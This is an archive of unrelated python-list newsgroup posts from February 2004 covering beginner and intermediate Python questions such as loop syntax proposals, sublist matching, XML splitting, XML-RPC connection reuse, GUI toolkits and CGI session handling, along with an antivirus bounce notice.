Date: Tue, 03 Feb 2004 19:56:36 -0800
Subject: Bitsets in Python
In-Reply-To: <pan.2004.02.03.17.36.10.927614@presidency.com>
References: <pan.2004.02.03.17.36.10.927614@presidency.com>
Message-ID: <bvpqlt$82s$3@news.service.uci.edu>

>   does Python have any native support for bitsets? I dont seem to see
>   anything in the standard library?

What do you mean 'bitsets'?  Give a list of functionality of your 
'bitsets', and it will be easy for us to tell you whether Python 
includes it.

  - Josiah


From NAVMSE-POSTMAN at AjansPress.com.tr  Sat Feb 28 05:21:24 2004
From: NAVMSE-POSTMAN at AjansPress.com.tr (NAV for Microsoft Exchange-POSTMAN)
Date: Sat, 28 Feb 2004 12:21:24 +0200
Subject: Norton AntiVirus detected and quarantined a virus in a message yo
	u sent.
Message-ID: <110F3E3DFD22D711994F00508B444F2C23AF8B@POSTMAN>

Recipient of the infected attachment:  info\Gelen Kutusu
Subject of the message:  hello
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From http  Tue Feb 17 14:36:49 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 11:36:49 -0800
Subject: PEP-315 ("do" loop)
References: <mailman.55.1076984559.31398.python-list@python.org>
	<10341ha7te8bpb8@news.supernews.com>
Message-ID: <7xekstqyzy.fsf@ruckus.brouhaha.com>

"John Roth" <newsgroups at jhrothjr.com> writes:
> 2. It is a very general construct, which might be what is called for. But I
> wonder if most of the time it would be used to accomplish something like:
> 
> while 1:
>     line = sys.stdin.readline()
>     if line == "\n":
>         break
> 
> In a neater way? How about, instead, creating an "until" loop:
> 
> until line == "\n":
>     line = sys.stdin.readline()

Most other languages have a way to put the test at the bottom of the loop.
Pythonically that could look like:

    repeat:
       line = sys.stdin.readline()
    until: line == '\n'

That would have similar indentation characteristics to try...finally.


From klaus_neuner82 at yahoo.de  Tue Feb 10 04:13:32 2004
From: klaus_neuner82 at yahoo.de (Klaus Neuner)
Date: 10 Feb 2004 01:13:32 -0800
Subject: finding all sublists of list2 that are identical to list1
References: <3e96ebd7.0402090659.7948e06b@posting.google.com>
	<f5dcf7c7a0b2237f3b6d2c83aae102b9@news.teranews.com>
Message-ID: <3e96ebd7.0402100113.753f7b71@posting.google.com>

> def sublist(list1, list2):
>     len1 = len(list1)
>     rnge = xrange(len(list2))
>     return [i for i in rnge if list2[i:len1+i] == list1]

Thanks.

> but without more details, I'm
> shooting in the dark.

Actually, I want to leave open what list1 and list2 may contain. I
want to define a class Matcher, like so:

class Matcher(object):

    def match(self, a, b):
        if a == b:
            return True
        else:
            return False

    def all_matches(self, list1, list2):
        len1 = len(list1)
        rnge = xrange(len(list2))
        return [i for i in rnge if self.match(list2[i:len1+i], list1)]

I use the function "match" instead of "==" here, because I want to
make subclasses that use a different concept of equivalence. One type
of equivalence
could be "equality in the first element". 
    
class FirstElementMatcher(Matcher):

    def match(self, a, b):
        if a[0] == b[0]:
            return True
        else:
            return False


From qp at al.net  Sun Feb 29 22:27:17 2004
From: qp at al.net (Qp)
Date: Sun, 29 Feb 2004 22:27:17 -0500
Subject: Why Python?
References: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6>
Message-ID: <k4y0c.7173$ED1.3250@fe03.usenetserver.com>

Well, I'm new at it (started about 2 months ago in preparation for senior
design project), and the one thing I've seen that could be better is overall
documentation;  sometimes it is hard to find what you're looking for
(especially in libraries like Tkinter for GUI programming and Twisted for
network programming).  It's possible, just hard.

The good things I've noticed?  Well, to do what I've done so far in Java
would have taken at least 5 and probably more like 10 times the code I've
written.  A simple yet decent TCP chat server in about 30 lines of code is
something I never considered possible before looking at Python.

"Todd7" <Nospam at please.com> wrote in message
news:Xns949ECD7289AD6Todd7Nospampleasecom at 68.12.19.6...
> I am looking at learning Python, but I would like to know what its
> strengths and weaknesses are before I invest much time in learning it.  My
> first thought is what is it good for programming, however I expect an
> answer from the python newsgroup to be something like "everything".  So
> maybe a better question is what type of programming projects is Python a
> bad choice?
>
> What makes it better or worse than languages like perl, php, delphi, or
> c++?
>
> Thanks for your opinions.
>
> Todd.





From arosado at softhome.net  Wed Feb  4 09:01:18 2004
From: arosado at softhome.net (Andres Rosado-Sepulveda)
Date: Wed, 04 Feb 2004 09:01:18 -0500
Subject: search between 2 files
In-Reply-To: <bvqoea$pjj$1@nsnmrro2-gest.nuria.telefonica-data.net>
References: <bvqoea$pjj$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <bvqqd8$udv0n$1@ID-203388.news.uni-berlin.de>

Jos? wrote:
> I'm newby in Python, and I'm working on a script to manage files.
> I have two files, one with a list of domains, and the other with a new 
> list of domains. I'd like to know if I have a repeated domain in the 
> new's one. I tried opening with readline(), with readlines(), but truly 
> I have no idea to countinue.
> 
> Have anybody any question?

I think it would be something like this (iow, untested):

domainsFile = file(filename, "rw")
domains = f1.readlines()
newDomainsFile = file(filename2, "r")
for domain in newDomainsFile:
....if not domain in domains:
........domains.append(domain)

-- 
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
AIM: pantear
Homepage: http://andres980.tripod.com/

"Oh boo! Boo hoo! Oh! ... don't stop now ... you motorheads're killin'
me."
         -- A surprisingly alive Rattrap, "A Better Mousetrap"


From uche at ogbuji.net  Fri Feb 13 10:25:23 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 13 Feb 2004 07:25:23 -0800
Subject: Splitting a DOM
References: <fa538331.0402120759.44f20301@posting.google.com>
Message-ID: <d116fbae.0402130725.783e98d8@posting.google.com>

brice.vissiere at costes-gestion.net (Brice Vissi?re) wrote in message news:<fa538331.0402120759.44f20301 at posting.google.com>...
> Hello,
> 
> I would like to handle an XML file structured as following
> <ROOT>
> <STEP>
> ...
> </STEP>
> <STEP>
> ...
> </STEP>
> ...
> </ROOT>
> 
> From this file, I want to build an XML file for each STEP block.
> 
> Currently I'm doing something like:
> 
> from xml.dom.ext.reader import Sax2
> from xml.dom.ext import PrettyPrint
> 
> reader = Sax2.Reader()
> my_dom = reader.fromUri('steps.xml')
> steps = my_dom.getElementsByTagName('STEP')
> 
> i=0
> for step in steps:
> 	tmp = file('step%s.xml' % i,'w')
> 	tmp.write('<?xml version="1.0" encoding="ISO-8859-1" ?>\n')
> 	PrettyPrint(step , tmp , encoding='ISO-8859-1')
> 	tmp.close()
> 	i+=1
> 
> But I'm pretty sure that there's a better way to split the DOM ?


Here's an Anobind recipe:

--- % ---

#Boilerplate set-up

import anobind
from Ft.Xml import InputSource
from Ft.Lib import Uri

#Create an input source for the XML
isrc_factory = InputSource.DefaultFactory
#Create a URI from a filename the right way
file_uri = Uri.OsPathToUri('steps.xml', attemptAbsolute=1)
isrc = isrc_factory.fromUri(file_uri)

#Now bind from the XML given in the input source
binder = anobind.binder()
binding = binder.read_xml(isrc)

#File splitting task
import tempfile

#The direct approach
i = 0
for folder in binding.ROOT.STEP:
    fout = open('step%s.xml', 'w')
    folder.unbind(fout)
    fout.close()
    i += 1

--- % ---

To use XPath replace the line

for folder in binding.ROOT.STEP:

With

for folder in binding.xpath_query(u'ROOT/STEP'):

Anobind:  http://uche.ogbuji.net/tech/4Suite/anobind/

--Uche
http://uche.ogbuji.net


From rune.hansen at sinsenveien83.com  Mon Feb  9 08:38:32 2004
From: rune.hansen at sinsenveien83.com (Rune Hansen)
Date: Mon, 09 Feb 2004 14:38:32 +0100
Subject: Threading server exits ERESTARTNOHAND
In-Reply-To: <tRSTb.1462$rj4.21454@news2.e.nsc.no>
References: <tRSTb.1462$rj4.21454@news2.e.nsc.no>
Message-ID: <c082gq$42t$1@services.kq.no>

Rune Hansen wrote:
> select(0, NULL, NULL, NULL, {0, 8000})  = 0 (Timeout)
> futex(0x822f530, FUTEX_WAKE, 1)         = 0
> gettimeofday({1075823054, 603000}, NULL) = 0
> futex(0x822f530, FUTEX_WAKE, 1)         = 0
> select(0, NULL, NULL, NULL, {0, 16000}) = 0 (Timeout)
> futex(0x822f530, FUTEX_WAKE, 1)         = 0
> gettimeofday({1075823054, 623210}, NULL) = 0
> futex(0x822f530, FUTEX_WAKE, 1)         = 0
> select(0, NULL, NULL, NULL, {0, 30370}) = ? ERESTARTNOHAND (To be 
> restarted)
> +++ killed by SIGSEGV +++
> 
> This is the output from strace -o xx python2.3 Spider.py, Spider.py 
> being a threaded web crawler. The server segfaults at no specific 
> interval, running for 30 secs and up to 10-15 minutes.
> 
> I can't figure out what's going on. In my years of threaded programming 
> this is the first time I've seen it (if it makes me a novice, please 
> don't rub it in :) I've found some information about "ERESTARTNOHAND" 
> (one hint was /etc/security/limits.conf) and gotten the feeling that it 
> has more to do with RedHat 9.0 than python2.3.3, but I'd really like to 
> hear from someone who perhaps has got some experience with this.
> 
> Server and setup:
> Compiled Python2.3.3 on RedHat 9.0 with default Athlon kernel.
> 
> The server starts a XMLRPCServer and Controller. The Controller starts 
> 15 threads doing urllib2.urlopen with data, using queue.get_nowait(), 
> received on the XMLRPCServer . Each thread has it's own MySQLdb 
> connection doing INSER DELAYED.
> mxTidy is used before data is fed to an HTMLParser instance.
> 
> regards
> 
> /rune
> 

In answer to my own question I'd like to quote our benevolent dictator:

"In any project that is multi-threaded, most bugs will come from 
threading issues.
This is regardless of programming language -- it's a deep, as yet 
ununderstood property of threads."
-- Guido van Rossum

So, there you are. Lesson learned.

regards

/rune


From shoot at the.moon  Thu Feb 26 13:27:34 2004
From: shoot at the.moon (Steve Horsley)
Date: Thu, 26 Feb 2004 18:27:34 +0000
Subject: Dumb noob q: ASCII value of a character
Message-ID: <c1ldn6$if2$1@news.freedom2surf.net>

How can I get the ASCII value of a character, e.g. I have:

str = "A B"
for index in range(0, len(str)):
    value = WHAT_GOES_HERE?(str[index])
    print value


and I hope to get:
65
32
66


I know the characters will be printable ASCII. 
But how do I get those ASCII character values from the characters???
I can't seem to find it in the library reference

Thanks,
Steve 


From jcarlson at nospam.uci.edu  Sat Feb  7 15:16:27 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 07 Feb 2004 12:16:27 -0800
Subject: software design question
In-Reply-To: <c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
Message-ID: <c03h78$dfc$1@news.service.uci.edu>

> So the question is rather: how to make a better design?

import module1
...

class main:
     def __init__(self, args...):
         self.c1 = module1.class1(args...)
         #where args... is the standard initialization for your class,
         #              and any additional objects/methods that c1 needs
         #              access to.

Pass what is needed.  If you can't pass what is needed when external 
module classes are initialized, then set the attribute later.

c1instance.attribute = value

  - Josiah


From ravard at univ-rennes1.fr  Mon Feb  2 12:58:55 2004
From: ravard at univ-rennes1.fr (olivier Ravard)
Date: Mon, 02 Feb 2004 18:58:55 +0100
Subject: How to get my MAC address with python ?
In-Reply-To: <101suvm7h62kpba@corp.supernews.com>
References: <bvlocd$37u$1@news.univ-rennes1.fr>
	<101suvm7h62kpba@corp.supernews.com>
Message-ID: <bvm30t$71l$1@news.univ-rennes1.fr>

Cameron Laird wrote:
> In article <bvlocd$37u$1 at news.univ-rennes1.fr>,
> olivier Ravard  <ravard at univ-rennes1.fr> wrote:
> 
>>Hi,
>>
>>I want to know the MAC address of my local network card with a python 
>>script.
>>I tested the socket module which gives only the IP address.
>>Is someone have an idea ?
> 
> 			.
> 			.
> 			.
> What operating system interests you?

Linux and windows. If there is a portable procedure it would be fine!



From brent at bjohnson.net  Fri Feb 20 14:21:15 2004
From: brent at bjohnson.net (Brent L Johnson)
Date: Fri, 20 Feb 2004 14:21:15 -0500
Subject: Installing RPM rebuild and failed dependency
Message-ID: <036401c3f7e6$b6fa6db0$c801a8c0@torpedo>

I'm running Redhat9 and I want to install Python2.3.  I downloaded
the src RPM file and following the directions
(i.e. rpmbuild --rebuild python2.3-2.3.3-2pydotorg.src.rpm).

This runs configure, compiled and dumps all the rpms in my
main RPM directory.  I've got BerkeleyDB installed in
/usr/local/BerkeleyDB.4.2.

When I try and install the built RPM I get the following error:
error: Failed dependencies:
        libdb-4.2.so is needed by python2.3-2.3.3-2pydotorg

That file is located in /usr/local/BerkeleyDB.4.2/lib but the
RPM install apparently cant find it.  I tried creating a
symbolic link in /usr/lib to the libdb-4.2.so file and
I still get the same error.

Any ideas?

Thanks,

- Brent




From DennisR at dair.com  Tue Feb 17 11:25:49 2004
From: DennisR at dair.com (Dennis Reinhardt)
Date: Tue, 17 Feb 2004 16:25:49 GMT
Subject: Hello World with pywin
References: <un07hzvfx.fsf@NOSPAM2.ericsson.com>
Message-ID: <hgrYb.26489$PP1.22299@newssvr25.news.prodigy.com>

> Can someone point me to Hello World examples with a Windows window,
> some text, and one or two buttons. The Tk logo should not be visible,
> so I suppose that I should use pywin or win32ui or something similar.

I did a hello world using a browser window without a gui
http://www.spamai.com/hello/hello.zip

AFIK, this is the smallest working Python download at 382 K.
-- 
Dennis Reinhardt
DennisR at dair.com   http://www.spamai.com?ng_asp




From rogerb at rogerbinns.com  Tue Feb 24 18:55:52 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Tue, 24 Feb 2004 15:55:52 -0800
Subject: xmlprclib/server not reusing connections
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com>
	<mailman.66.1077661735.8594.python-list@python.org>
Message-ID: <1t4tg1-dta.ln1@home.rogerbinns.com>

> > Basically the existing xmlrpclib and SimpleXMLRPCServer are hard coded
> > (and IMHO go out of their way) to do one request per connection, and
> > then shut things down.
>
> if you don't like the xmlrpclib default Transport, use your own.  you probably
> only have to override 'make_connection' and 'parse_response' to get the be-
> haviour you're looking for.

Yes, I pointed at the code I had to write.  In particular I had to do the following:

 - My own Transport
 - reimplementation of parse_response method (existing one shuts down connection)
 - reimplementation of request method (existing one uses Python 1.5 httplib
   function names and semantics)
 - reimplementation of making a connection to reuse existing one if appropriate
 - My own handler
 - reimplementation of do_POST to get authentication headers (and not close
   connections)
 - reimplementation of finish to do proper SSL shutdown sequence
 - work around bug in M2Crypto makefile method that doesn't actually do a dup
   and breaks semantics if called twice

It isn't as simple as it would first appear, and the many layers of indirection
and sub-classing made it even harder to figure out what was going on, and to
override behaviour.

Roger




From eelgueta at navix.cl  Fri Feb 27 18:16:32 2004
From: eelgueta at navix.cl (Eduardo Elgueta)
Date: 27 Feb 2004 15:16:32 -0800
Subject: I just don't get it
Message-ID: <3b3f63ed.0402271516.55d3781e@posting.google.com>

Hi All,

Would anyone be so kind to explain this?

-- begin --
>>> (176L,) > 300
True
--end--

(Python2.3)

TIA.

Ed.


From loic at yermat.net1.nerim.net  Thu Feb 12 14:05:41 2004
From: loic at yermat.net1.nerim.net (Yermat)
Date: Thu, 12 Feb 2004 20:05:41 +0100
Subject: does python support mvc  architecture
In-Reply-To: <Z_idnfrhd6PRWLbdRVn-uQ@comcast.com>
References: <f046efac.0402120627.948b7ed@posting.google.com>
	<102n468gt8klr44@news.supernews.com> <7jysux2l.fsf@python.net>
	<Z_idnfrhd6PRWLbdRVn-uQ@comcast.com>
Message-ID: <c0gipf$2ajq$1@biggoron.nerim.net>

DH a ?crit :
> 
>> Does python support MVC architecture? Java has register & notify
>> obsever methods in javax.util . Does python has these functions. If
>> not then how to register the views with the models & how to notify the
>> views that the model has been updated??
> 
> 
> The one that is closest to Java's implementation is here:
> http://jamesthornton.com/eckel/TIPython/code/util/
> but see also:
> http://sra.itc.it/people/cavada/mvc/index.html
> http://sourceforge.net/projects/pydispatcher/
> 
> And various python frameworks have Observable support built-in, such as 
> Twisted, anygui, WCK, etc.

http://www.python.org/cgi-bin/moinmoin/DelegationEventModel



From frank at chagford.com  Thu Feb  5 02:34:53 2004
From: frank at chagford.com (Frank Millman)
Date: 4 Feb 2004 23:34:53 -0800
Subject: Best way to control assignment to attribute?
References: <246a4e07.0402040712.2cd34d65@posting.google.com>
Message-ID: <246a4e07.0402042334.11718fff@posting.google.com>

frank at chagford.com (Frank Millman) wrote:
> Hi all
> 
> I want to control the assignment of a value to an attribute. Instead
> of allowing it to be changed directly, I want to enforce that a method
> is called, which will perform the assignment subject to various
> checks.
> 

Thanks to everybody for the replies. Clearly property() is the way to
go.

I have avoided new-style classes up to now, as I was waiting for a
real need to use them. Now I have one, so it is time to roll up my
sleeves and get stuck in.

Thanks again.

Frank


From anton at vredegoor.doge.nl  Thu Feb  5 05:09:22 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Thu, 05 Feb 2004 11:09:22 +0100
Subject: Smarter way of doing this?
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<cab22418.0402021554.95d2f3b@posting.google.com>
	<401f53ad$0$287$edfadb0f@dread12.news.tele.dk>
	<4020eb47$0$271$edfadb0f@dread12.news.tele.dk>
Message-ID: <402216c0$0$135$3a628fcd@reader1.nntp.hccnet.nl>

Max M <maxm at mxm.dk> wrote:

>I solved it by using acumulated probabilities instead. So the final 
>version is here, if anybody cares.
>
>I used it in a Markov chain class, that is now pretty fast.

Yes it's fast, but I don't think it's smart :-) Unfortunately I
haven't got a working solution as an alternative, but only some code
that "explains" what I mean:


    def choice_generator(population,probabilities):
        PC = zip(probabilities,population)
        while 1:
            p,c = max([(p*random(),c) for p,c in PC])
            yield c

This is short and fast. However, the distribution of the outcomes is
wrong, because the list of probabilities should be "adjusted" so that
in the end the *outcomes* are distributed according to the
"probabilities". Or should that be proportions? 

My statistics skills are a bit rusty, but I think it's an interesting
problem. I'll get back when I have some more ideas. In the meantime
more mathematically educated readers are given a chance to beat me to
it :-), or prove it can't be done.

Anton


From nospam-deets at web.de  Mon Feb  9 10:46:13 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Mon, 09 Feb 2004 16:46:13 +0100
Subject: finding all sublists of list2 that are identical to list1
References: <3e96ebd7.0402090659.7948e06b@posting.google.com>
Message-ID: <c08a1v$13mkfa$1@ID-111250.news.uni-berlin.de>

> - Is there a more efficient way to do it? (Apart from building
> automata.)

Look into the shift-and algorithm for string-search- that should be much
faster. Its not trivial so I can't reproduce it right here out of my head,
but google helps.

> - Is there a more elegant/Pythonic way to write the function?

Yes. You should work much more with slicing, and compare whole sublists like
this:

-------snip-----------
hs = [0, 1, 5, 3, 2, 4, 5, 3, 2]
ne = [5, 3, 2]

def sublist(needle, haystack):
    hs_size = len(haystack)
    n_size = len(needle)

    if n_size > hs_size:
        return []
    elif hs_size == n_size and needle == haystack:
        return []
    else:
        res = []
        offset = 0
        sublist = haystack[offset:offset + n_size]
        while len(sublist) == n_size:
            if sublist == needle:
                res.append(offset)
            offset += 1
            sublist = haystack[offset:offset + n_size]
        return res

if __name__ == "__main__":
    print sublist(ne, hs)

-------snip-----------

-- 
Regards,

Diez B. Roggisch


From syver-en+usenet at online.no  Wed Feb 11 09:33:45 2004
From: syver-en+usenet at online.no (Syver Enstad)
Date: 11 Feb 2004 15:33:45 +0100
Subject: debugging python COM server
References: <c0dae2$j1s$1@hyppo.gu.net>
Message-ID: <uznbpu1me.fsf@online.no>

Max Ischenko <max at ucmg.com.ua.remove.it> writes:

> Hi,
> 
> I wrote a COM server in python to be used from ASP/IIS environment.
> And I have very bad problem with it -- from time to time dllhost.exe
> goes to 100% CPU and hangs...only iisreset helps.
> 
> I wrote the test script that opens a bunch web sessions to IIS and
> reproduce this deadlock. The problem seems to be caused by some race
> condition in a COM destruction trace.
> 
> The hard part is that I have no idea how to debug this situation. I
> added a bunch of print stmts in my python code but they didn't
> help. May be it is a problem in win32com (or my usage of it) but I
> can't be sure.
> 
> Are there any tips or trick?

Have you tried using win32traceutil? Python win has a viewer for
win32traceutil that enables you to see everything that is printed to
stdout.


-- 

Syver Enstad


From wmwd2zz02 at sneakemail.com  Tue Feb 24 22:00:11 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Wed, 25 Feb 2004 16:00:11 +1300
Subject: Nostalgic instruction sequences (Re: Python Productivity Gain?)
In-Reply-To: <mailman.70.1077667989.8594.python-list@python.org>
References: <mailman.70.1077667989.8594.python-list@python.org>
Message-ID: <c1h33t$1isejn$1@ID-169208.news.uni-berlin.de>

Delaney, Timothy C (Timothy) wrote:
> So you were setting memory location 0 to the address of 'ExitToShell' using Macsbug,

Or the built-in monitor that you got when MacsBug
wasn't installed.

A MacsBug command I remember using a lot on my
Mac Plus went something like

   DM DFFFFF1F

I can't remember the exact number. My only record
of it was written on a box of stick-on labels that
I kept, long after it was empty, in a strategic place
on my desk. Recently I threw it out, only remembering
its significance afterward. Not that it really mattered,
since it didn't work on any model later than a Mac
Plus anyway.

Oh, what did it do? Another virtual chocolate fish
is on offer for answering that...

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From jeremy+plusnews at jeremysanders.net  Fri Feb 27 09:31:31 2004
From: jeremy+plusnews at jeremysanders.net (Jeremy Sanders)
Date: Fri, 27 Feb 2004 14:31:31 +0000
Subject: Plotting modules
References: <c1m6vd$sij$2@rumours.uwaterloo.ca>
Message-ID: <pan.2004.02.27.14.31.31.60844@jeremysanders.net>

On Thu, 26 Feb 2004 20:36:45 -0500, DG wrote:

> I need a plotting program this is:
> -Cross platform (linux and windows) and can build into binary form, or 
> easy to install form on linux and windows.
> -Hopefully still maintained (unlike biggles)
> -Easy to use (like scipy.gplt)

I'm working on a PyQt-based plotting package called Veusz
http://home.gna.org/veusz/ (not really ready for use yet).

Unfortunately AFAIK, there is no Free Edition of Qt for Windows, so it
wouldn't be cross-platform enough for you.

Jeremy



From harry.g.george at boeing.com  Tue Feb 24 06:04:50 2004
From: harry.g.george at boeing.com (Harry George)
Date: Tue, 24 Feb 2004 11:04:50 GMT
Subject: Session CGI!
References: <ba129ce7.0402211010.231375d7@posting.google.com>
	<30260531.0402211543.d810721@posting.google.com>
	<ba129ce7.0402220052.283012ce@posting.google.com>
	<gu4vflwilrv.fsf@ee.oulu.fi>
Message-ID: <xqxishwsppp.fsf@cola2.ca.boeing.com>

Erno Kuusela <erno-news at erno.iki.fi> writes:

> johng2001 at rediffmail.com (John) writes:
> 
> > > You could use cookies and/or database writes.
> > 
> > Sadly that is what I want to avoid :-(
> 
> see here: http://www.catdancers.com/webmags/webtech/1998/03/perl/
> 
> it's about perl, but you can apply the idea to python too.
> 
>   -- erno


There are two problems:

1. Where to store state.  Databases, cookies, and pickle files are
   available.  I've used pickle files for low volume apps.

2. How to structure the CGI code.  Of course, something like webware
   or twisted would hide it all, but let's assume you are writing from
   scratch.  Since this is a stateless protocol, we can borrow from
   another (and solved) stateless protocol -- sockets.

   So for each webpage,we make 2 functions (or methods): send_xyz and
   recv_xyz.  On wakeup,we check a hidden field to determine which
   "xyz" is arriving, and call its recv.  There we use another hidden
   field (or an SSL tag) to get the right database or pickle data and
   load it into an object.  Continue processing as if there was no
   time gap.  At end (ready for more user input), call the proper
   "send".  It prepares the hidden fields, saves the state, and prints
   the outgoing page.  The script exits and we are back at the
   browser.

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From martin at v.loewis.de  Sun Feb 15 14:55:10 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 15 Feb 2004 20:55:10 +0100
Subject: IPv6 question
In-Reply-To: <hjq4g1-1c1.ln1@neon.jbmail.com>
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
	<c0oc6j$592$01$1@news.t-online.com>
	<hjq4g1-1c1.ln1@neon.jbmail.com>
Message-ID: <c0oiqv$knm$00$1@news.t-online.com>

John Burton wrote:
> I've got a horrible feeling it doesn't work like this on windows though
> (my python build on windows doesn't seem to support ipv6 so I can't
> try it)

If you want to try IPv6 support on Windows, you can use a Python 2.4 
snapshot I built, at

http://www.dcl.hpi.uni-potsdam.de/home/loewis/python2.4.0.12421.msi

If you don't want this snapshot to override file associations, make
sure you check the Advanced dialog.

Regards,
Martin



From jcarlson at nospam.uci.edu  Sat Feb  7 01:58:21 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 22:58:21 -0800
Subject: can I use GUI in python
In-Reply-To: <36a4d24c.0402062201.313db3ce@posting.google.com>
References: <36a4d24c.0402062201.313db3ce@posting.google.com>
Message-ID: <c022eq$3go$1@news.service.uci.edu>

> To give a good look to my project I want to use a GUI ,can python
> language satisfy my requirments for good GUI and good look?
> 
> If not,which is the another option for python?

There are many GUI toolkits for Python.  This page lists a handful in 
the "Python" section:
http://home.pacbell.net/atai/guitool/

Last summer there was an article on Freshmeat.net about toolkits for 
X11, but many have bindings for both *nix and windows, and for Python:
http://freshmeat.net/articles/view/928/


Yeah, Python can do GUIs.
  - Josiah


From david.steuber at verizon.net  Sun Feb  1 16:03:35 2004
From: david.steuber at verizon.net (David Steuber)
Date: Sun, 01 Feb 2004 21:03:35 GMT
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
Message-ID: <m2ad42342e.fsf@david-steuber.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:

> 1) It would be single threaded web server (asyncore, twistedmatrix)
> with a select loop talking to a socket, either on port 80 directly, or
> to a proxy web server running mod_gzip, SSL, and so forth.

Is this how you would handle concurrency?

Also, how bad is using files really?  A decent Unix will use memory
to cache files, abstracting disk io behind the scenes for you.

-- 
   One Emacs to rule them all.  One Emacs to find them,
   One Emacs to take commands and to the keystrokes bind them,

All other programming languages wish they were Lisp.


From jcarlson at nospam.uci.edu  Fri Feb  6 23:34:12 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 06 Feb 2004 20:34:12 -0800
Subject: Print function and spaces
In-Reply-To: <mailman.1321.1076116070.12720.python-list@python.org>
References: <mailman.1321.1076116070.12720.python-list@python.org>
Message-ID: <c01q0g$p7q$1@news.service.uci.edu>

I could have sworn there was a function to disable/enable placing spaces 
between objects printed using the print statement.  I've looked all 
over, but I couldn't find it, so apparently it doesn't exist.

  - Josiah


From no at spam.invalid  Tue Feb 24 19:29:49 2004
From: no at spam.invalid (Russell E. Owen)
Date: Tue, 24 Feb 2004 16:29:49 -0800
Subject: tkFileDialog different between Linux and Windows
References: <faf44c99.0402240955.4613fd6a@posting.google.com>
Message-ID: <c1gqa2$mve$1@nntp6.u.washington.edu>

In article <faf44c99.0402240955.4613fd6a at posting.google.com>,
 timothy.williams at nvl.army.mil (Tim Williams) wrote:

>I'm using Python 2.3.2 and tkFileDialog in a program I have. I'm
>trying to use this on Linux (RH 8.0) and Windows 2000. When I first
>upgraded from v2.2 to v2.3. I noticed that
>tkFileDialog.askopenfilename() returns a tuple on Cancel instead of 
>''. I found that the Windows version still returns a string (''). Now
>I'm finding out that tkFileDialog.Directory().show() does this too.
...
>How can I check tkFileDialog to do the "right" thing?  All I want is
>the string that contains the path, but I want this to work on both
>Linux and Windows.

Is this the sort of thing you want?

dirobj = tkFileDialog.askdirectory()
if not dirobj:
  # user Cancelled; works whether the return is '' or ()
  return

# dirobj may be a string or a Tk_Obj
dirname = unicode(dirobj)
  
The same code should work for askopenfilename.


From max at ucmg.com.ua.remove.it  Tue Feb 10 02:42:06 2004
From: max at ucmg.com.ua.remove.it (Max Ischenko)
Date: Tue, 10 Feb 2004 09:42:06 +0200
Subject: communicating with Java (from Python)
Message-ID: <c0a1tu$vue$1@hyppo.gu.net>


Hi,

I want to communicate my Python application with the Java one.
The most obvious choice is XML-RPC, but ... I wonder about something 
more pythonic and powerful, like pyro.

Could you suggest something?

Using Jython to be able to use pyro is not technically feasible.

... A scientist builds in order to learn; an engineer learns in order to 
build.
      -- FRED BROOKS




From steve at ninereeds.fsnet.co.uk  Mon Feb 16 07:21:14 2004
From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Mon, 16 Feb 2004 12:21:14 +0000
Subject: Beginners list of Python donloads - please review
References: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
	<930ba99a.0402160325.4a4d0d4c@posting.google.com>
Message-ID: <qbb130l8os8rehni85uebhth54grh6uih0@4ax.com>

On 16 Feb 2004 03:25:54 -0800, sridharinfinity at yahoo.com (Sridhar R)
wrote:

>"Will" <wstandley at netpv.com> wrote in message news:<TupXb.39481$Bb.333441 at twister.tampabay.rr.com>...

>> I running Windows XP Pro and wanted to download Python and any additional
>> tools I should consider using as I get going...
>
>  If you're using GNU/Linux, most of them would be installed
>_by_default_ !

And equivalents for perl, and tcl, and...

My last Mandrake distro came on seven CDs, and they accuse Windows of
bloat! ;-)

And the 'but it's free' argument for Linux doesn't apply here - the
Windows equivalents are just as free. Windows allows you to install
all kinds of free and open source software (at least for now).

And as for changing the install options, first off a kind of
dependency hell tends to happen, and second there's the problem that
many installers are poorly tested for non-default options.

Don't get me wrong - I'm by no means a Windows fanatic (who could be?)
but when you claim a particular thing as a clear advantage for Linux
over Windows (to the point of adding an exclamation mark, even) it's
best to make sure it really is a clear advantage. This one seems
rather more dubious to me. And if you claim dubious advantages as
clear advantages, IMHO it only helps the people who claim that linux
enthusiasts are irrational.

>I (and others) also feel that wxWindows
>(and thus wxPython) is buggy.

There is, sadly, some truth in this. I get some (minor) GUI glitches
just running the demos, for instance. And the last time I used
wxPython seriously I discovered that common newbie errors can quite
easily crash Python - something which IMO just shouldn't happen in an
interpreted environment. This was a few releases ago, though.

My initial reaction to proposing the use of pyGTK rather than
wxWindows was simply that you lose more than you gain - a lot of
people aren't going to be keen to lose Windows as a possible platform
for their applications. But I do usually try to check my facts, and so
I found this...

http://www.async.com.br/faq/pygtk/index.py?req=show&file=faq21.001.htp

